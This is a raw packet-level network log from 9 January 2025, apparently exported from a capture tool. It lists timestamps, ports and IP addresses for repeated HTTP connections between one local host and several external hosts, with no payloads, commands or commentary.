Jan 9, 2025 16:47:51.299565077 CET	49748	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:52.316459894 CET	49749	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:52.458564043 CET	80	49749	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:52.458790064 CET	49749	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:52.461357117 CET	49749	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:52.606264114 CET	80	49749	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:52.606270075 CET	80	49749	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:52.606276035 CET	80	49749	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:52.606616020 CET	49749	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:52.607721090 CET	49749	80	192.168.11.20	198.58.118.167
Jan 9, 2025 16:47:52.749857903 CET	80	49749	198.58.118.167	192.168.11.20
Jan 9, 2025 16:47:57.792895079 CET	49750	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:47:57.911674023 CET	80	49750	104.21.96.1	192.168.11.20
Jan 9, 2025 16:47:57.911870956 CET	49750	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:47:57.918406963 CET	49750	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:47:58.037364960 CET	80	49750	104.21.96.1	192.168.11.20
Jan 9, 2025 16:47:58.492090940 CET	80	49750	104.21.96.1	192.168.11.20
Jan 9, 2025 16:47:58.492100954 CET	80	49750	104.21.96.1	192.168.11.20
Jan 9, 2025 16:47:58.492109060 CET	80	49750	104.21.96.1	192.168.11.20
Jan 9, 2025 16:47:58.492476940 CET	49750	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:47:58.492651939 CET	80	49750	104.21.96.1	192.168.11.20
Jan 9, 2025 16:47:58.492866993 CET	49750	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:47:59.422642946 CET	49750	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:00.439389944 CET	49751	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:00.559168100 CET	80	49751	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:00.559489965 CET	49751	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:00.565758944 CET	49751	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:00.685592890 CET	80	49751	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:01.112435102 CET	80	49751	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:01.112481117 CET	80	49751	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:01.112783909 CET	49751	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:01.113161087 CET	80	49751	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:01.113325119 CET	49751	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:02.078694105 CET	49751	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:03.095577002 CET	49752	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:03.215264082 CET	80	49752	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:03.215712070 CET	49752	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:03.222157001 CET	49752	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:03.341957092 CET	80	49752	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:03.342020988 CET	80	49752	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:03.342369080 CET	80	49752	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:03.342530966 CET	80	49752	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:03.342564106 CET	80	49752	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:03.753026009 CET	80	49752	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:03.753072023 CET	80	49752	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:03.753364086 CET	49752	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:03.753588915 CET	80	49752	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:03.753750086 CET	49752	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:04.734270096 CET	49752	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:05.751141071 CET	49753	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:05.870520115 CET	80	49753	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:05.870980978 CET	49753	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:05.875560045 CET	49753	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:05.994585991 CET	80	49753	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:06.418689966 CET	80	49753	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:06.418703079 CET	80	49753	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:06.419387102 CET	49753	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:06.420710087 CET	80	49753	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:06.421339989 CET	49753	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:06.422178984 CET	49753	80	192.168.11.20	104.21.96.1
Jan 9, 2025 16:48:06.541006088 CET	80	49753	104.21.96.1	192.168.11.20
Jan 9, 2025 16:48:11.606528997 CET	49754	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:11.778832912 CET	80	49754	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:11.779076099 CET	49754	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:11.785504103 CET	49754	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:11.958297014 CET	80	49754	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:11.979461908 CET	80	49754	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:11.979487896 CET	80	49754	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:11.979736090 CET	49754	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:13.294728994 CET	49754	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:14.311619997 CET	49755	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:14.484096050 CET	80	49755	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:14.484297991 CET	49755	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:14.490849018 CET	49755	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:14.663841963 CET	80	49755	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:14.679184914 CET	80	49755	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:14.679210901 CET	80	49755	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:14.679446936 CET	49755	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:15.997554064 CET	49755	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:17.014287949 CET	49756	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:17.187020063 CET	80	49756	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:17.187381029 CET	49756	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:17.193728924 CET	49756	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:17.367017031 CET	80	49756	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:17.367063046 CET	80	49756	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:17.367093086 CET	80	49756	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:17.367120028 CET	80	49756	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:17.382185936 CET	80	49756	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:17.382267952 CET	80	49756	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:17.382857084 CET	49756	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:18.700189114 CET	49756	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:19.716839075 CET	49757	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:19.889671087 CET	80	49757	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:19.889986038 CET	49757	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:19.894273996 CET	49757	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:20.067306995 CET	80	49757	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:20.080899954 CET	80	49757	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:20.080950975 CET	80	49757	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:20.081387997 CET	49757	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:20.082808971 CET	49757	80	192.168.11.20	199.192.21.169
Jan 9, 2025 16:48:20.255248070 CET	80	49757	199.192.21.169	192.168.11.20
Jan 9, 2025 16:48:34.517446995 CET	49758	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:34.818049908 CET	80	49758	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:34.818365097 CET	49758	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:34.821835041 CET	49758	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:35.122415066 CET	80	49758	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:35.800178051 CET	80	49758	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:35.800226927 CET	80	49758	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:35.800442934 CET	49758	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:36.336872101 CET	49758	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:37.352585077 CET	49759	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:37.657780886 CET	80	49759	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:37.658051968 CET	49759	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:37.664752007 CET	49759	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:37.969996929 CET	80	49759	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:38.696535110 CET	80	49759	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:38.696552038 CET	80	49759	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:38.696763039 CET	49759	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:39.180054903 CET	49759	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:40.195636034 CET	49760	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:40.495326042 CET	80	49760	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:40.495528936 CET	49760	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:40.502289057 CET	49760	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:40.502326012 CET	49760	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:40.802182913 CET	80	49760	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:40.802391052 CET	80	49760	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:40.802651882 CET	80	49760	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:40.802882910 CET	80	49760	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:40.803122044 CET	80	49760	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:41.498956919 CET	80	49760	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:41.498977900 CET	80	49760	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:41.499192953 CET	49760	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:42.007590055 CET	49760	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:43.023248911 CET	49761	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:43.337007046 CET	80	49761	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:43.337404013 CET	49761	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:43.342102051 CET	49761	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:43.655563116 CET	80	49761	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:44.345208883 CET	80	49761	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:44.345257044 CET	80	49761	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:44.345642090 CET	49761	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:44.346270084 CET	49761	80	192.168.11.20	47.83.1.90
Jan 9, 2025 16:48:44.659893036 CET	80	49761	47.83.1.90	192.168.11.20
Jan 9, 2025 16:48:49.515994072 CET	49762	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:49.652894974 CET	80	49762	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:49.653096914 CET	49762	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:49.659240007 CET	49762	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:49.795423031 CET	80	49762	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:49.795669079 CET	80	49762	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:49.795814991 CET	49762	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:51.161875963 CET	49762	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:52.177545071 CET	49763	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:52.314389944 CET	80	49763	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:52.314632893 CET	49763	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:52.318074942 CET	49763	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:52.453670979 CET	80	49763	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:52.453888893 CET	80	49763	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:52.454030991 CET	49763	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:53.833105087 CET	49763	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:54.850198030 CET	49764	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:54.987998962 CET	80	49764	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:54.988254070 CET	49764	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:54.994981050 CET	49764	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:54.995001078 CET	49764	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:55.131616116 CET	80	49764	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:55.132807970 CET	80	49764	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:55.133171082 CET	80	49764	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:55.135523081 CET	80	49764	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:55.135737896 CET	49764	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:56.504543066 CET	49764	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:57.521464109 CET	49765	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:57.658592939 CET	80	49765	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:57.658920050 CET	49765	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:57.663496971 CET	49765	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:57.803649902 CET	80	49765	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:57.803693056 CET	80	49765	76.223.54.146	192.168.11.20
Jan 9, 2025 16:48:57.804012060 CET	49765	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:57.804640055 CET	49765	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:48:57.940630913 CET	80	49765	76.223.54.146	192.168.11.20
Jan 9, 2025 16:49:03.276185989 CET	49766	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:04.283029079 CET	49766	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:05.613902092 CET	80	49766	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:05.613979101 CET	80	49766	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:05.614192009 CET	49766	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:05.620799065 CET	49766	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:05.969324112 CET	80	49766	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:05.970071077 CET	80	49766	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:05.970114946 CET	80	49766	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:05.970153093 CET	80	49766	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:05.970372915 CET	49766	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:07.127331972 CET	49766	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:08.144084930 CET	49767	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:08.494354010 CET	80	49767	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:08.494656086 CET	49767	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:08.501307964 CET	49767	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:08.851257086 CET	80	49767	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:08.852286100 CET	80	49767	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:08.852333069 CET	80	49767	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:08.852371931 CET	80	49767	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:08.852586031 CET	49767	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:10.017198086 CET	49767	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:11.032939911 CET	49768	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:11.386279106 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:11.386557102 CET	49768	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:11.394234896 CET	49768	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:11.394298077 CET	49768	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:11.747178078 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:11.747221947 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:11.747670889 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:11.747716904 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:11.747750998 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:11.747777939 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:11.747805119 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:11.747833967 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:11.747863054 CET	49768	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:12.100543976 CET	80	49768	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:13.929639101 CET	49769	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:14.276446104 CET	80	49769	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:14.276731968 CET	49769	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:14.279927015 CET	49769	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:14.626492023 CET	80	49769	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:14.627182007 CET	80	49769	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:14.627224922 CET	80	49769	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:14.627260923 CET	80	49769	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:14.627558947 CET	49769	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:14.628410101 CET	49769	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:49:14.974793911 CET	80	49769	160.25.166.123	192.168.11.20
Jan 9, 2025 16:49:19.790178061 CET	49770	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:19.908843040 CET	80	49770	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:19.909065962 CET	49770	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:19.912571907 CET	49770	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:20.031169891 CET	80	49770	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:20.045648098 CET	80	49770	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:20.046046972 CET	80	49770	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:20.046309948 CET	49770	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:21.421216965 CET	49770	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:22.437958956 CET	49771	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:22.557507992 CET	80	49771	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:22.557725906 CET	49771	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:22.564306974 CET	49771	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:22.683890104 CET	80	49771	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:22.705631018 CET	80	49771	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:22.705799103 CET	80	49771	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:22.706079960 CET	49771	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:24.076740026 CET	49771	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:25.093664885 CET	49772	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:25.212879896 CET	80	49772	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:25.213366985 CET	49772	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:25.216981888 CET	49772	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:25.217051029 CET	49772	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:25.336482048 CET	80	49772	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:25.336693048 CET	80	49772	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:25.336934090 CET	80	49772	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:25.337244034 CET	80	49772	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:25.337285042 CET	80	49772	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:25.349929094 CET	80	49772	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:25.350756884 CET	80	49772	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:25.350991964 CET	49772	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:26.732544899 CET	49772	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:27.748106956 CET	49773	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:27.866638899 CET	80	49773	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:27.866848946 CET	49773	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:27.869154930 CET	49773	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:27.987648010 CET	80	49773	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:27.995160103 CET	80	49773	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:27.995642900 CET	80	49773	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:27.995965004 CET	49773	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:27.996670961 CET	49773	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:49:28.115119934 CET	80	49773	104.21.13.141	192.168.11.20
Jan 9, 2025 16:49:42.136117935 CET	49774	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:42.360488892 CET	80	49774	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:42.360698938 CET	49774	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:42.366858006 CET	49774	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:42.591408014 CET	80	49774	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:42.591762066 CET	80	49774	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:42.591785908 CET	80	49774	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:42.592031002 CET	49774	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:43.869559050 CET	49774	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:44.886336088 CET	49775	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:45.111675978 CET	80	49775	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:45.111999989 CET	49775	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:45.118617058 CET	49775	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:45.344017982 CET	80	49775	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:45.344302893 CET	80	49775	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:45.344347000 CET	80	49775	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:45.344603062 CET	49775	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:46.634063959 CET	49775	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:47.650444984 CET	49776	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:47.885870934 CET	80	49776	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:47.886102915 CET	49776	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:47.892793894 CET	49776	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:47.892848015 CET	49776	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:48.122062922 CET	80	49776	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:48.122195959 CET	80	49776	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:48.122446060 CET	80	49776	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:48.122656107 CET	80	49776	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:48.122906923 CET	80	49776	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:48.122936010 CET	80	49776	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:48.122947931 CET	80	49776	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:48.123080969 CET	49776	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:49.399719954 CET	49776	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:50.416599035 CET	49777	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:50.641083002 CET	80	49777	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:50.641283989 CET	49777	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:50.645917892 CET	49777	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:50.870310068 CET	80	49777	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:50.871047974 CET	80	49777	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:50.871092081 CET	80	49777	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:50.871490955 CET	49777	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:50.872667074 CET	49777	80	192.168.11.20	136.243.64.147
Jan 9, 2025 16:49:51.096913099 CET	80	49777	136.243.64.147	192.168.11.20
Jan 9, 2025 16:49:56.248780966 CET	49778	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:49:56.546510935 CET	80	49778	202.95.11.110	192.168.11.20
Jan 9, 2025 16:49:56.546765089 CET	49778	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:49:56.550620079 CET	49778	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:49:56.848273039 CET	80	49778	202.95.11.110	192.168.11.20
Jan 9, 2025 16:49:56.893767118 CET	80	49778	202.95.11.110	192.168.11.20
Jan 9, 2025 16:49:56.893810034 CET	80	49778	202.95.11.110	192.168.11.20
Jan 9, 2025 16:49:56.894043922 CET	49778	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:49:58.053956985 CET	49778	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:49:59.069710970 CET	49779	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:49:59.364908934 CET	80	49779	202.95.11.110	192.168.11.20
Jan 9, 2025 16:49:59.365247965 CET	49779	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:49:59.368778944 CET	49779	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:49:59.664233923 CET	80	49779	202.95.11.110	192.168.11.20
Jan 9, 2025 16:49:59.710071087 CET	80	49779	202.95.11.110	192.168.11.20
Jan 9, 2025 16:49:59.710118055 CET	80	49779	202.95.11.110	192.168.11.20
Jan 9, 2025 16:49:59.710386038 CET	49779	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:00.881474972 CET	49779	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:01.898525000 CET	49780	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:02.202959061 CET	80	49780	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:02.203174114 CET	49780	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:02.209969997 CET	49780	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:02.210005999 CET	49780	80	192.168.11.20	202.95.11.110
Jan 9, 2025 16:50:02.514503002 CET	80	49780	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:02.514728069 CET	80	49780	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:02.514741898 CET	80	49780	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:02.515033960 CET	80	49780	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:02.515048027 CET	80	49780	202.95.11.110	192.168.11.20
Jan 9, 2025 16:50:02.515209913 CET	80	49780	202.95.11.110	192.168.11.20
